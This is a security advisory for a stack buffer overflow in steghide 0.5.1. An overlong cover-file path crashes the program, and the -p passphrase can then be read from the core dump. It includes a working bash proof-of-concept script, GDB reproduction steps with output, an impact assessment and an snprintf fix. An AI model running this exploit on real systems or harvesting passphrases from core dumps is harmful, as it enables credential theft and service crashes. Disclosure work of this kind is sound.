CVE-2026-31024

Vulnerability Report: Steghide Stack-Based Buffer Overflow & Information Disclosure

Severity Rationale:
The Medium severity score reflects reliable local exploitation leading to both denial of service and disclosure of sensitive credentials via core dumps.

1. Description

A stack-based buffer overflow vulnerability was identified in the steghide command-line utility (version 0.5.1). The vulnerability is triggered when passing an excessively long filepath to the -cf (cover file) argument.

While the application is compiled with Stack Smashing Protection (SSP/Canary), which successfully prevents immediate Arbitrary Code Execution (RCE) by aborting the process, this defensive mechanism creates a secondary vulnerability: Information Disclosure.

Analysis confirms that sensitive runtime data—specifically the passphrase passed via the -p argument—remains exposed in the process stack memory at the moment of the crash. On systems configured to retain core dumps (common in development, CI/CD, or misconfigured production servers), this sensitive data is written to disk in plain text, allowing attackers to recover credentials.

2. Attack Prerequisites (Threat Model)

To successfully exploit this vulnerability for Information Disclosure, the following conditions must be met:

• Local Access: The attacker must have local access to the system or the ability to pass arguments to the steghide binary (e.g., via a web shell or wrapper script).

• Core Dumps Enabled: The target environment must be configured to generate core dumps (e.g., ulimit -c unlimited or fs.suid_dumpable=1) and write them to a location accessible by the attacker.

• Credentials in Memory: The victim must execute the command using the -p (passphrase) argument.

3. Technical Analysis

3.1 Root Cause Analysis

The vulnerability exists in src/Embedder.cc. The application fails to bound-check the length of the filename string before formatting it into a fixed-size buffer using sprintf.

Vulnerable Code Snippet:

// src/Embedder.cc
char buf[200]; 
// Unsafe usage of sprintf without length validation
sprintf(buf, _("embedding %s in %s..."), embstring.c_str(), cvrstring.c_str());

If the combined length of the strings exceeds 200 bytes, sprintf writes past the end of buf, corrupting the stack.

3.2 Crash Mechanism

The binary is compiled with GCC's Stack Protector.

1. Overflow: The user input overwrites the stack, including the "canary".
2. Detection: Upon function return, the system checks the canary.
3. Termination: The system detects corruption, triggers __stack_chk_fail, and raises SIGABRT.

Because __stack_chk_fail invokes abort() immediately, the process termination is abrupt. On modern Linux systems (e.g., using systemd-coredump), this rapid termination can sometimes result in the core dump being discarded or truncated unless the system is explicitly configured to force dump creation.

4. Proof of Concept (PoC)

4.1 Automated Reproduction Script

The following bash script configures the environment to force a physical core dump and extracts the password.

Prerequisite: Ensure ulimit is set and the core pattern is directed to a file (requires root for setup, but the exploit runs as user).

# Setup (Run once as root/sudo to ensure visibility):
# echo "core" | sudo tee /proc/sys/kernel/core_pattern

File: poc.sh

#!/bin/bash
# Steghide 0.5.1 PoC - Stack Overflow & Info Leak
# Usage: ./poc.sh

# 1. Enable core dumps for this session
ulimit -c unlimited

# 2. Define payload: 250 'A' characters (sufficient to overflow 200 byte buffer)
LONG_DIR="crash_test"
LONG_NAME=$(python3 -c "print('A' * 250 + '.wav')")
FULL_PATH="$LONG_DIR/$LONG_NAME"

echo "[*] Creating malicious directory structure..."
rm -rf "$LONG_DIR" core* 2>/dev/null
mkdir -p "$LONG_DIR"

# 3. Generate valid WAV file (Required to bypass initial format checks)
python3 -c "
import struct
with open('$FULL_PATH', 'wb') as f:
    # RIFF Header + WAVEfmt + PCM Audio + Data Chunk
    # We provide a valid header so execution reaches the vulnerable Embedder.cc logic
    header = b'RIFF' + struct.pack('<I', 50000) + b'WAVEfmt ' + struct.pack('<I', 16)
    header += struct.pack('<HHIIHH', 1, 1, 44100, 44100, 2, 16)
    header += b'data' + struct.pack('<I', 49964)
    f.write(header + b'\x00' * 49964)
"

# 4. Create dummy secret
echo "CONFIDENTIAL_DATA" > secret.txt

# 5. Trigger Crash
# The passphrase 'MY_SECRET_PASS' will be loaded into memory before the crash
echo "[!] Launching Steghide..."
steghide embed -cf "$FULL_PATH" -ef secret.txt -p MY_SECRET_PASS

# 6. Verify Leak
echo -e "\n[*] Searching for artifact in core dump..."
CORE_FILE=$(ls core* | head -n 1)

if [ -f "$CORE_FILE" ]; then
    echo "[+] Dump found: $CORE_FILE"
    # Search for the password string inside the binary dump
    strings "$CORE_FILE" | grep "MY_SECRET_PASS" && echo -e "\n[!!!] CRITICAL: Password successfully leaked from crash dump!"
else
    echo "[-] No core file found. Check 'ulimit -c' or '/proc/sys/kernel/core_pattern'."
fi

4.2 Dynamic Analysis (GDB)

Manual verification of the memory state using GDB (with Pwndbg extension).

Steps to Reproduce:

1. Run GDB on the binary:

gdb --args /usr/bin/steghide embed -cf $(python3 -c "print('A'*200 + '/trigger.wav')") -ef secret.txt -p MY_SECRET_PASS

2. Run the process:

pwndbg> run

3. Upon SIGABRT, search memory for the passphrase:

pwndbg> search "MY_SECRET_PASS"

Observed Output:

*** buffer overflow detected ***: terminated
Program received signal SIGABRT

pwndbg> search "MY_SECRET_PASS"
Searching for value: 'MY_SECRET_PASS'
[heap]  0x5555555bb1a8 'MY_SECRET_PASS'
[stack] 0x7fffffffd680 'MY_SECRET_PASS'

Conclusion: The sensitive string MY_SECRET_PASS persists in both Heap and Stack memory segments at the moment of the crash, confirming the Information Disclosure vector.

5. Impact Assessment

• Confidentiality (High):

  • Direct Leak: The crash exposes command-line arguments (passwords) in the memory dump.
  • Privilege Escalation Risk: While core dumps usually retain the user's permissions (0600), misconfigured systems (using global dump directories like /tmp or insecure umasks) allows low-privileged users to read dumps generated by higher-privileged users (e.g., root) or service accounts (e.g.,www-data), leading to credential theft.

• Availability (High):

  • The vulnerability guarantees a reliable application crash (DoS), disrupting automated services using Steghide.

• Integrity (Low):

  • Code execution is currently mitigated by SSP/Canaries.

6. Recommendations

1. Code Fix: Replace unsafe sprintf calls with snprintf to enforce buffer size limits.

// Recommended Fix
snprintf(buf, sizeof(buf), _("embedding %s in %s..."), ...);